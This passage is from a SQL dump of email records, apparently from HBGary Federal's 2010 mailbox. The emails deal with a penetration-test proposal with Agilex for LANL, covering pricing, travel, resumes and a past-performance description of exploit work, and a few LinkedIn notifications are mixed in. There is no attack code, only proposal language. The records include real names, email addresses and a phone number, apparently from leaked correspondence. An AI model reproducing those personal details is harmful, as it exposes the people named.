about inserting the past performance or resumes. Please just send them to me and I will incorporate into the document.\r\n>>\r\n>> From our conversation, I\'ll check to see if any special pricing formats are needed from you.\r\n>>\r\n>> Thanks,\r\n>> Mari Jo\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Wednesday, June 16, 2010 1:44 PM\r\n>> To: Barr Aaron; Ira Entis; Jerry McClure; Mari Jo Boynton\r\n>> Subject: Re: Notes from call with Ira\r\n>>\r\n>> I haven\'t heard back from Ira yet.  Can someone send me his phone\r\n>> number so I can call him to discuss the tech prop?  Or is there\r\n>> another Agilex point of contact that is working the tech prop that\r\n>> could call me at 719-237-8623?\r\n>>\r\n>> Thanks,\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Wed, Jun 16, 2010 at 7:53 AM, Ted Vera  wrote:\r\n>>> Disregard last email Ira, I restructured my day.  This is my top\r\n>>> priority task this morning.  Can you give me a call to discuss?  Can\r\n>>> you also please forward the latest revision of the tech prop?\r\n>>>\r\n>>> Thanks,\r\n>>> Ted\r\n>>> 719-237-8623\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Tue, Jun 15, 2010 at 11:57 AM, Ted Vera  wrote:\r\n>>>> HBGary shall conduct a blind penetration test:\r\n>>>> Defined rules of engagement\r\n>>>> We try to hack our way in\r\n>>>> Provide an outbrief and report on findings and recommendations\r\n>>>>\r\n>>>> Action items for us:\r\n>>>> We need to help Agilex get the proposal in.\r\n>>>> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n>>>> Pentest shall be conducted in August (start on/about the 9th)\r\n>>>> Another call will be scheduled on June 22nd to tag up and make sure\r\n>>>> everything is on track.\r\n>>>>\r\n>>>> Agilex shall:\r\n>>>> Conduct a vulnerability assessment and security audit\r\n>>>> Not a blind study, but rather full knowledge of system and controls\r\n>>>> Oracle expert conducts security analysis\r\n>>>> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n>>>> Unavailable Jul 12th.\r\n>>>> Is it possible to get on contract that quickly?  What needs to be done\r\n>>>> to get him in the door?\r\n>>>> Testing is approved for July, customer can support this schedule.\r\n>>>>\r\n>>>> Note: Government is closed Monday July 5th.\r\n>>>>\r\n>>>> Ira:  If the customer cannot meet the procurement schedule and you are\r\n>>>> forced to find a new Oracle expert, I know a few people who may be\r\n>>>> able to help, if you\'re open to subbing the work.\r\n>>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15044,'aaron_hbgary_com/15044.html'),(7485,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005589.M578468P14101Q2341.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,Ira.Entis@agilex.com,\"Barr Aaron\" <aaron@hbgary.com>','Re: Pricing for LANL','Plus the following 2010 per diem rates for M&IE for each traveller:\r\n\r\nLos Alamos	Los Alamos	85	 	51	 	136	38.25\r\n\r\nTed\r\n\r\n\r\nOn Wed, Jun 16, 2010 at 1:50 PM, Ted Vera  wrote:\r\n> We estimate travel costs at $1866:\r\n>\r\n> One trip, two travellers.\r\n> From Denver CO to Albuquerque NM\r\n> Depart Aug 8th, return Aug 14th.\r\n>\r\n> $933 per person includes two airline tickets, one rental car and one\r\n> hotel room which we will share.\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n> On Wed, Jun 16, 2010 at 1:09 PM, Mari Jo Boynton\r\n>  wrote:\r\n>> Ted,\r\n>>\r\n>> I spoke to our contracts/pricing and we do not need any special format from you, just the following:\r\n>> (1) Confirmation that your hourly rate is $194/hour\r\n>> (2) Estimate on travel\r\n>> (3) Confirmation that no software purchases or pricing is necessary.\r\n>>\r\n>> Thanks,\r\n>> Mari Jo\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ira Entis\r\n>> Sent: Wednesday, June 16, 2010 3:06 PM\r\n>> To: Ted Vera\r\n>> Cc: Mari Jo Boynton; Barr Aaron; Jerry McClure\r\n>> Subject: Re: Notes from call with Ira\r\n>>\r\n>> I think that we plan X # of trips to the client (at cost to them above the hours we have)\r\n>>\r\n>> up to 2 trips?\r\n>>\r\n>>\r\n>> On Jun 16, 2010, at 3:04 PM, Ted Vera wrote:\r\n>>\r\n>> During preliminary discussions we talked about conducting the test\r\n>> remotely vs. on-site.  Was a decision made on this?  Should we plan to\r\n>> travel to the customer site, or can we conduct the PT remotely from\r\n>> our offices?\r\n>>\r\n>> Thanks,\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Wed, Jun 16, 2010 at 12:46 PM, Mari Jo Boynton\r\n>>  wrote:\r\n>>> Ted,\r\n>>>\r\n>>> Attached is the draft of the technical proposal. Please use Track Changes when working on this document. Don\'t worry about inserting the past performance or resumes. Please just send them to me and I will incorporate into the document.\r\n>>>\r\n>>> From our conversation, I\'ll check to see if any special pricing formats are needed from you.\r\n>>>\r\n>>> Thanks,\r\n>>> Mari Jo\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Wednesday, June 16, 2010 1:44 PM\r\n>>> To: Barr Aaron; Ira Entis; Jerry McClure; Mari Jo Boynton\r\n>>> Subject: Re: Notes from call with Ira\r\n>>>\r\n>>> I haven\'t heard back from Ira yet.  Can someone send me his phone\r\n>>> number so I can call him to discuss the tech prop?  Or is there\r\n>>> another Agilex point of contact that is working the tech prop that\r\n>>> could call me at 719-237-8623?\r\n>>>\r\n>>> Thanks,\r\n>>> Ted\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Wed, Jun 16, 2010 at 7:53 AM, Ted Vera  wrote:\r\n>>>> Disregard last email Ira, I restructured my day.  This is my top\r\n>>>> priority task this morning.  Can you give me a call to discuss?  Can\r\n>>>> you also please forward the latest revision of the tech prop?\r\n>>>>\r\n>>>> Thanks,\r\n>>>> Ted\r\n>>>> 719-237-8623\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> On Tue, Jun 15, 2010 at 11:57 AM, Ted Vera  wrote:\r\n>>>>> HBGary shall conduct a blind penetration test:\r\n>>>>> Defined rules of engagement\r\n>>>>> We try to hack our way in\r\n>>>>> Provide an outbrief and report on findings and recommendations\r\n>>>>>\r\n>>>>> Action items for us:\r\n>>>>> We need to help Agilex get the proposal in.\r\n>>>>> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n>>>>> Pentest shall be conducted in August (start on/about the 9th)\r\n>>>>> Another call will be scheduled on June 22nd to tag up and make sure\r\n>>>>> everything is on track.\r\n>>>>>\r\n>>>>> Agilex shall:\r\n>>>>> Conduct a vulnerability assessment and security audit\r\n>>>>> Not a blind study, but rather full knowledge of system and controls\r\n>>>>> Oracle expert conducts security analysis\r\n>>>>> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n>>>>> Unavailable Jul 12th.\r\n>>>>> Is it possible to get on contract that quickly?  What needs to be done\r\n>>>>> to get him in the door?\r\n>>>>> Testing is approved for July, customer can support this schedule.\r\n>>>>>\r\n>>>>> Note: Government is closed Monday July 5th.\r\n>>>>>\r\n>>>>> Ira:  If the customer cannot meet the procurement schedule and you are\r\n>>>>> forced to find a new Oracle expert, I know a few people who may be\r\n>>>>> able to help, if you\'re open to subbing the work.\r\n>>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> --\r\n>>>> Ted H. Vera\r\n>>>> President | COO\r\n>>>> HBGary Federal\r\n>>>> 719-237-8623\r\n>>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10537,'aaron_hbgary_com/10537.html'),(7486,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005589.M790817P14101Q2342.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: FW: language','It\'s probably the closest thing we have.  I can tweak for pen testing.\r\n I didn\'t know John reached out for this, I\'ve been working with Ira\r\non the proposal all day..\r\n\r\nTed\r\n\r\nOn Wed, Jun 16, 2010 at 1:53 PM, Penny Leavy-Hoglund  wrote:\r\n> Do you have something for this.  I have this but it’s not for breaking into\r\n> a website.\r\n>\r\n>\r\n>\r\n> From: John Harllee [mailto:John.Harllee@agilex.com]\r\n> Sent: Wednesday, June 16, 2010 9:18 AM\r\n> To: \'Penny C. Hoglund\'\r\n> Subject: language\r\n>\r\n>\r\n>\r\n> Penny – thanks for taking my call – if you could send along the language\r\n> that we discussed that would be much appreciated –\r\n>\r\n>\r\n>\r\n> j\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16383,'aaron_hbgary_com/16383.html'),(7487,'2010-06-16','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>','/aaron@hbgary.com/new/1297005589.M95299P14101Q2339.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ted Vera\" <ted@hbgary.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ted Vera\" <ted@hbgary.com>,','Pricing for LANL','Ted,\r\n\r\nI spoke to our contracts/pricing and we do not need any special format from you, just the following:\r\n(1) Confirmation that your hourly rate is $194/hour\r\n(2) Estimate on travel\r\n(3) Confirmation that no software purchases or pricing is necessary.\r\n\r\nThanks,\r\nMari Jo\r\n\r\n-----Original Message-----\r\nFrom: Ira Entis \r\nSent: Wednesday, June 16, 2010 3:06 PM\r\nTo: Ted Vera\r\nCc: Mari Jo Boynton; Barr Aaron; Jerry McClure\r\nSubject: Re: Notes from call with Ira\r\n\r\nI think that we plan X # of trips to the client (at cost to them above the hours we have)\r\n\r\nup to 2 trips?\r\n\r\n\r\nOn Jun 16, 2010, at 3:04 PM, Ted Vera wrote:\r\n\r\nDuring preliminary discussions we talked about conducting the test\r\nremotely vs. on-site.  Was a decision made on this?  Should we plan to\r\ntravel to the customer site, or can we conduct the PT remotely from\r\nour offices?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Wed, Jun 16, 2010 at 12:46 PM, Mari Jo Boynton\r\n wrote:\r\n> Ted,\r\n> \r\n> Attached is the draft of the technical proposal. Please use Track Changes when working on this document. Don\'t worry about inserting the past performance or resumes. Please just send them to me and I will incorporate into the document.\r\n> \r\n> From our conversation, I\'ll check to see if any special pricing formats are needed from you.\r\n> \r\n> Thanks,\r\n> Mari Jo\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Wednesday, June 16, 2010 1:44 PM\r\n> To: Barr Aaron; Ira Entis; Jerry McClure; Mari Jo Boynton\r\n> Subject: Re: Notes from call with Ira\r\n> \r\n> I haven\'t heard back from Ira yet.  Can someone send me his phone\r\n> number so I can call him to discuss the tech prop?  Or is there\r\n> another Agilex point of contact that is working the tech prop that\r\n> could call me at 719-237-8623?\r\n> \r\n> Thanks,\r\n> Ted\r\n> \r\n> \r\n> \r\n> On Wed, Jun 16, 2010 at 7:53 AM, Ted Vera  wrote:\r\n>> Disregard last email Ira, I restructured my day.  This is my top\r\n>> priority task this morning.  Can you give me a call to discuss?  Can\r\n>> you also please forward the latest revision of the tech prop?\r\n>> \r\n>> Thanks,\r\n>> Ted\r\n>> 719-237-8623\r\n>> \r\n>> \r\n>> \r\n>> On Tue, Jun 15, 2010 at 11:57 AM, Ted Vera  wrote:\r\n>>> HBGary shall conduct a blind penetration test:\r\n>>> Defined rules of engagement\r\n>>> We try to hack our way in\r\n>>> Provide an outbrief and report on findings and recommendations\r\n>>> \r\n>>> Action items for us:\r\n>>> We need to help Agilex get the proposal in.\r\n>>> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n>>> Pentest shall be conducted in August (start on/about the 9th)\r\n>>> Another call will be scheduled on June 22nd to tag up and make sure\r\n>>> everything is on track.\r\n>>> \r\n>>> Agilex shall:\r\n>>> Conduct a vulnerability assessment and security audit\r\n>>> Not a blind study, but rather full knowledge of system and controls\r\n>>> Oracle expert conducts security analysis\r\n>>> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n>>> Unavailable Jul 12th.\r\n>>> Is it possible to get on contract that quickly?  What needs to be done\r\n>>> to get him in the door?\r\n>>> Testing is approved for July, customer can support this schedule.\r\n>>> \r\n>>> Note: Government is closed Monday July 5th.\r\n>>> \r\n>>> Ira:  If the customer cannot meet the procurement schedule and you are\r\n>>> forced to find a new Oracle expert, I know a few people who may be\r\n>>> able to help, if you\'re open to subbing the work.\r\n>>> \r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>> \r\n> \r\n> \r\n> \r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n> \r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',14591,'aaron_hbgary_com/14591.html'),(7488,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005590.M282314P14101Q2344.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,Ira.Entis@agilex.com,\"Barr Aaron\" <aaron@hbgary.com>','Re: Pricing for LANL','OVERVIEW:\r\nSecurity Testing shall consist of two major components, a\r\nvulnerability assessment, and a penetration test.  The vulnerability\r\nassessment will be conducted by an Agilex security expert with\r\nspecific experience with Oracle security best practices (I assume\r\nAgilex will add some detail here)  The vulnerability assessment will\r\nbe a white-box assessment, where the test team has prior knowledge of\r\nthe systems, applications and architecture being tested.  The\r\npenetration test shall be conducted by HBGary Federal security experts\r\nwith specific experience in conducting vulnerability assessments,\r\npenetration tests, hacker methodology and exploitation tools.  HBGary\r\nshall conduct a black box or blind penetration test, with little to\r\nknow prior knowledge of the systems, applications, or architecture of\r\nthe test environment.\r\n\r\n\r\n\r\nOn Wed, Jun 16, 2010 at 1:09 PM, Mari Jo Boynton\r\n wrote:\r\n> Ted,\r\n>\r\n> I spoke to our contracts/pricing and we do not need any special format from you, just the following:\r\n> (1) Confirmation that your hourly rate is $194/hour\r\n> (2) Estimate on travel\r\n> (3) Confirmation that no software purchases or pricing is necessary.\r\n>\r\n> Thanks,\r\n> Mari Jo\r\n>\r\n> -----Original Message-----\r\n> From: Ira Entis\r\n> Sent: Wednesday, June 16, 2010 3:06 PM\r\n> To: Ted Vera\r\n> Cc: Mari Jo Boynton; Barr Aaron; Jerry McClure\r\n> Subject: Re: Notes from call with Ira\r\n>\r\n> I think that we plan X # of trips to the client (at cost to them above the hours we have)\r\n>\r\n> up to 2 trips?\r\n>\r\n>\r\n> On Jun 16, 2010, at 3:04 PM, Ted Vera wrote:\r\n>\r\n> During preliminary discussions we talked about conducting the test\r\n> remotely vs. on-site.  Was a decision made on this?  Should we plan to\r\n> travel to the customer site, or can we conduct the PT remotely from\r\n> our offices?\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Wed, Jun 16, 2010 at 12:46 PM, Mari Jo Boynton\r\n>  wrote:\r\n>> Ted,\r\n>>\r\n>> Attached is the draft of the technical proposal. Please use Track Changes when working on this document. Don\'t worry about inserting the past performance or resumes. Please just send them to me and I will incorporate into the document.\r\n>>\r\n>> From our conversation, I\'ll check to see if any special pricing formats are needed from you.\r\n>>\r\n>> Thanks,\r\n>> Mari Jo\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Wednesday, June 16, 2010 1:44 PM\r\n>> To: Barr Aaron; Ira Entis; Jerry McClure; Mari Jo Boynton\r\n>> Subject: Re: Notes from call with Ira\r\n>>\r\n>> I haven\'t heard back from Ira yet.  Can someone send me his phone\r\n>> number so I can call him to discuss the tech prop?  Or is there\r\n>> another Agilex point of contact that is working the tech prop that\r\n>> could call me at 719-237-8623?\r\n>>\r\n>> Thanks,\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Wed, Jun 16, 2010 at 7:53 AM, Ted Vera  wrote:\r\n>>> Disregard last email Ira, I restructured my day.  This is my top\r\n>>> priority task this morning.  Can you give me a call to discuss?  Can\r\n>>> you also please forward the latest revision of the tech prop?\r\n>>>\r\n>>> Thanks,\r\n>>> Ted\r\n>>> 719-237-8623\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Tue, Jun 15, 2010 at 11:57 AM, Ted Vera  wrote:\r\n>>>> HBGary shall conduct a blind penetration test:\r\n>>>> Defined rules of engagement\r\n>>>> We try to hack our way in\r\n>>>> Provide an outbrief and report on findings and recommendations\r\n>>>>\r\n>>>> Action items for us:\r\n>>>> We need to help Agilex get the proposal in.\r\n>>>> Prepare for a kickoff call to discuss rules of engagement on or about June 28th.\r\n>>>> Pentest shall be conducted in August (start on/about the 9th)\r\n>>>> Another call will be scheduled on June 22nd to tag up and make sure\r\n>>>> everything is on track.\r\n>>>>\r\n>>>> Agilex shall:\r\n>>>> Conduct a vulnerability assessment and security audit\r\n>>>> Not a blind study, but rather full knowledge of system and controls\r\n>>>> Oracle expert conducts security analysis\r\n>>>> Expert available in 2 weeks, for 2 weeks. Available June 28th.\r\n>>>> Unavailable Jul 12th.\r\n>>>> Is it possible to get on contract that quickly?  What needs to be done\r\n>>>> to get him in the door?\r\n>>>> Testing is approved for July, customer can support this schedule.\r\n>>>>\r\n>>>> Note: Government is closed Monday July 5th.\r\n>>>>\r\n>>>> Ira:  If the customer cannot meet the procurement schedule and you are\r\n>>>> forced to find a new Oracle expert, I know a few people who may be\r\n>>>> able to help, if you\'re open to subbing the work.\r\n>>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13576,'aaron_hbgary_com/13576.html'),(7489,'2010-06-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005590.M2898P14101Q2343.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: FW: language','Yes if you can tweak and get to him that would be great.  He\'ll insert the\r\nlanguage\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, June 16, 2010 12:57 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Barr Aaron\r\nSubject: Re: FW: language\r\n\r\nIt\'s probably the closest thing we have.  I can tweak for pen testing.\r\n I didn\'t know John reached out for this, I\'ve been working with Ira\r\non the proposal all day..\r\n\r\nTed\r\n\r\nOn Wed, Jun 16, 2010 at 1:53 PM, Penny Leavy-Hoglund \r\nwrote:\r\n> Do you have something for this.  I have this but it’s not for breaking\r\ninto\r\n> a website.\r\n>\r\n>\r\n>\r\n> From: John Harllee [mailto:John.Harllee@agilex.com]\r\n> Sent: Wednesday, June 16, 2010 9:18 AM\r\n> To: \'Penny C. Hoglund\'\r\n> Subject: language\r\n>\r\n>\r\n>\r\n> Penny – thanks for taking my call – if you could send along the language\r\n> that we discussed that would be much appreciated –\r\n>\r\n>\r\n>\r\n> j\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',12049,'aaron_hbgary_com/12049.html'),(7490,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005591.M273880P14101Q2345.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,','Latest Update','Here\'s an update.  I\'m working on past performance and resumes now.\r\n\r\nTed\r\n',15806,'aaron_hbgary_com/15806.html'),(7491,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005591.M602806P14101Q2346.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','VAPT','Pricing is about $27K, staying within Ira\'s guidance. Not too shabby\r\nfor a week and a half of work.\r\n',12096,'aaron_hbgary_com/12096.html'),(7492,'2010-06-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005593.M566118P14101Q2347.eml','\"Barr Aaron\" <aaron@hbgary.com>','Resume Template','What do you think of this resume template? Minor comments/suggestions\r\naccepted, but I\'m trying to wrap this up, lol...\r\n\r\nTed\r\n',568,'aaron_hbgary_com/568.html'),(7493,'2010-06-17','\"Michael Whitehorne\" <mike@whitehorne.com>','/aaron@hbgary.com/new/1297005593.M968442P14101Q2348.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Michael Whitehorne has indicated you are a Colleague at Northrop Grumman:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Michael Whitehorne\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Michael Whitehorne\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n    WHY MIGHT CONNECTING WITH MICHAEL WHITEHORNE BE A GOOD IDEA?\r\n    People Michael Whitehorne knows can discover your profile Connecting to Michael Whitehorne will attract the attention of LinkedIn users. See who\'s been viewing your profile.\r\n    &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',5209,'aaron_hbgary_com/5209.html'),(7494,'2010-06-17','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297005594.M223709P14101Q2349.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 6/16/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Jun 9 - Jun 16\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Steve Winterfeld has an updated profile (Headline)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Sid Fuchs\r\n    is now connected to\r\n        Lou Coleman\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Irving Lachow\r\nMet with Resevoir Labs on v. high speed processing of network traffic, signatures.  Cool stuff.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\nI\'m told that without my reading  glasses, I tend to skenningly view text and images close at hand, despite long arms. (adv.: with a squint)      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\nNo job for me! Le Parisien:&quot;SPHP officers who guard Mr Sarkozy are chosen for their diminutive stature to avoid towering over the President&quot;      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Guy Mincey recommends\r\ncolleague      Juli Ballesteros\r\n          Executive Vice President, Marketing &amp; Communcations at AFCEA Energy\r\n        It has been my sincere pleasure to work with Juli over the last several years as we have worked toge...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n      Mark Leary was recommended by\r\ncolleague      Floyd Crumble\r\n        Mark came to Information Security at Northrop Grumman at a critical time. He bridged the gap between...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Michael Edwards recommends\r\ncolleague      Joseph Boltersdorf\r\n          Director, Defense Program Support and Deputy Director, Operations at Computer Sciences Corporation\r\n        Joe was one of the best professionals I have worked with.  He would cut to the core of the matter an...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',10031,'aaron_hbgary_com/10031.html'),(7495,'2010-06-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005596.M301217P14101Q2350.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,Ira.Entis@agilex.com,\"Barr Aaron\" <aaron@hbgary.com>,John.Harllee@agilex.com','Re: Pricing for LANL','Attached is our standard services T&Cs.  This is a draft based on\r\nboiler-plate and may be revised as needed.   Please review and reply\r\nif acceptable or revise with track changes.  We\'ll fill in the items\r\nmarked with X\'s once the numbers have firmed up.\r\n\r\nPenny mentioned that John may copy and paste as needed into the\r\ncontract / other docs.\r\n\r\nRegards,\r\nTed\r\n',3014,'aaron_hbgary_com/3014.html'),(7496,'2010-06-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005597.M523226P14101Q2351.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,Ira.Entis@agilex.com,\"Barr Aaron\" <aaron@hbgary.com>','Draft Resumes','Attached are resumes for your review, in support of proposal.\r\n\r\nRegards,\r\nTed\r\n',13271,'aaron_hbgary_com/13271.html'),(7497,'2010-06-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005597.M845429P14101Q2352.eml','\"Barr Aaron\" <aaron@hbgary.com>','draft PP','HBGary has extensive experience in vulnerability research and exploit\r\ndevelopment, penetrating the security controls of applications,\r\noperating systems, and network devices.  Our staff of security experts\r\nhave conducted numerous vulnerability assessments and penetration\r\ntests.  The results of which have helped customers to better protect\r\ntheir systems and gain insight into the level of effort and technical\r\nsophistication required by attackers to gain access into their\r\nnetworks if they were specifically targeted.  Some recent and relevant\r\nexamples of past performance conducting vulnerability research and\r\nexploit development include:\r\n\r\nPrime Contractor:  General Dynamics Advanced Information Systems\r\nPoint of Contact:  Bill Thompson\r\nGovernment Customer:  Restricted\r\nPeriod of Performance:  2008-2010\r\nDescription:  HBGary has provided exceptional vulnerability research\r\nand exploit development in support of a Restricted US Government\r\ncustomer under a subcontract with General Dynamics.  HBGary identified\r\nvulnerabilities in target systems and developed custom exploits that\r\nsuccessfully penetrated target systems across multiple Windows\r\noperating systems and allowed deployment and execution of a custom\r\ntest payload.\r\n\r\nCustomer:  Homeland Security, Science & Technology Directorate\r\nPoint of Contact:  Dr. Douglas Maughan\r\nPeriod of Performance:  2007-2010\r\nDescription:  For the past four years, HBGary has provided exceptional\r\nvulnerability and exploit research in support of the Department of\r\nHomeland Defense, Science and Technology Directorate on SIBR Phase I\r\nand Phase II contracts for the topic “Botnet Detection and\r\nMitigation”. HBGary fully supported DHS initiatives in the areas of\r\nsoftware tool development, malware analysis, and in-depth reverse\r\nengineering. HBGary reverse engineered and analyzed malicious software\r\nexhibiting botnet behaviors such as: use of encryption, hashing,\r\nobfuscation, stealthy functionality, specific targeting, and ability\r\nto initiate time-triggered attacks.\r\n',6542,'aaron_hbgary_com/6542.html'),(7498,'2010-06-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005598.M712383P14101Q2353.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,Ira.Entis@agilex.com,\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,Ira.Entis@agilex.com','Updated version with P.P.','Attached is our updated tech inputs with past performance (MS Word\r\ntrack changes enabled).  I believe based upon my previous conversation\r\nwith Mari Jo that this should be everything that is required.  I will\r\nbe available tomorrow morning (before 10am) and afternoon (after 3pm)\r\nfor final edits / additional inputs 